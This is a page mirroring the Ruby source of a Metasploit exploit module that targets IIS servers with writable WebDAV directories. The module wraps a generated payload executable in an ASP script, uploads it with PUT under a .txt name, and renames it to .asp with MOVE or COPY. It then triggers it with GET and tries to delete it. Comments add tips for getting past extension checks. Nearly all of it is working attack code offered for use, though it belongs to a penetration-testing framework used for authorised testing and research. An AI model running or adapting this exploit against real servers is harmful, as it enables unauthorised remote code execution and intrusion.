CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
12
def initialize
13
super(
14
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
15
'Description' => %q{
16
This module can be used to execute a payload on IIS servers that
17
have world-writeable directories. The payload is uploaded as an ASP
18
script via a WebDAV PUT request.
19
20
The target IIS machine must meet these conditions to be considered
21
as exploitable: It allows 'Script resource access', Read and Write
22
permission, and supports ASP.
23
},
24
'Author' => 'hdm',
25
'Platform' => 'win',
26
'References' =>
27
[
28
['OSVDB', '397'],
29
['BID', '12141']
30
],
31
'Targets' =>
32
[
33
[ 'Automatic', { } ],
34
],
35
'DefaultTarget' => 0,
36
'DisclosureDate' => 'Dec 31 2004'
37
)
38
39
register_options(
40
[
41
# The USERNAME and PASSWORD are registered again to make them more obvious they're
42
# configurable.
43
OptString.new('HttpUsername',
44
[false, 'The HTTP username to specify for authentication', '']),
45
OptString.new('HttpPassword',
46
[false, 'The HTTP password to specify for authentication', '']),
47
OptString.new('PATH',
48
[ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),
49
OptEnum.new('METHOD',
50
[ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])
51
])
52
end
53
54
def exploit
55
# Generate the ASP containing the EXE containing the payload
56
exe = generate_payload_exe
57
asp = Msf::Util::EXE.to_exe_asp(exe)
58
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
59
path = "/" + path if path[0] != "/"
60
# Incase of "/path/to/filename.asp;.txt"
61
path_tmp = "/" + File.basename(path.gsub(/\;.*/,''), ".*") + ".txt"
62
path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"
63
action = datastore['METHOD'].downcase.gsub('e','') + "ing"
64
alt_method = "move"
65
alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"
66
67
#
68
# CHECK
69
#
70
print_status("Checking #{path}")
71
res = send_request_cgi({
72
'uri' => path ,
73
'method' => 'GET',
74
}, 20)
75
76
unless res
77
print_error("Connection timed out while trying to checking #{path}")
78
return
79
end
80
81
if (res.code == 200)
82
print_error("File #{path} already exists on the target")
83
return
84
end
85
86
87
#
88
# UPLOAD
89
#
90
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
91
92
begin
93
res = send_request_cgi({
94
'uri' => path_tmp,
95
'method' => 'PUT',
96
'ctype' => 'application/octet-stream',
97
'data' => asp,
98
}, 20)
99
rescue Errno::ECONNRESET => e
100
print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
101
return
102
end
103
104
unless res
105
print_error("Connection timed out while uploading to #{path_tmp}")
106
return
107
end
108
109
if (res.code < 200 or res.code >= 300)
110
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
111
return
112
end
113
114
#
115
# MOVE/COPY
116
#
117
if (path_tmp == path)
118
print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")
119
print_warning("Do not end PATH with '.txt'")
120
else
121
print_status("#{action.capitalize} #{path_tmp} to #{path}...")
122
123
res = send_request_cgi({
124
'uri' => path_tmp,
125
'method' => datastore['METHOD'].upcase,
126
'headers' => {'Destination' => path}
127
}, 20)
128
129
unless res
130
print_error("Connection timed out while moving to #{path}")
131
return
132
end
133
134
if (res.code < 200 or res.code >= 300)
135
print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")
136
case res.code
137
when 403
138
print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")
139
end
140
return
141
elsif (res.code == 207)
142
print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")
143
print_warning("Try using 'set METHOD #{alt_method}' instead")
144
end
145
end
146
147
148
#
149
# EXECUTE
150
#
151
print_status("Executing #{path}...")
152
153
res = send_request_cgi({
154
'uri' => path,
155
'method' => 'GET'
156
}, 20)
157
158
unless res
159
print_error("Execution failed on #{path} [No Response]")
160
return
161
end
162
163
if (res.code < 200 or res.code >= 300)
164
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
165
case res.message
166
when 'Not Found', 'Object Not Found'
167
print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")
168
print_warning("Try using 'set METHOD #{alt_method}' instead")
169
vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"
170
end
171
return
172
end
173
174
175
#
176
# DELETE
177
#
178
print_status("Deleting #{path} (this doesn't always work)...")
179
180
res = send_request_cgi({
181
'uri' => path,
182
'method' => 'DELETE'
183
}, 20)
184
185
unless res
186
print_error("Deletion failed on #{path} [No Response]")
187
return
188
end
189
190
if (res.code < 200 or res.code >= 300)
191
# Changed this to a warning, because red is scary and if this part fails,
192
# honestly it's not that bad. In most cases this is probably expected anyway
193
# because by default we're using IWAM_*, which doesn't give us a lot of
194
# freedom to begin with.
195
print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
196
return
197
end
198
199
handler
200
end
201
end
202
203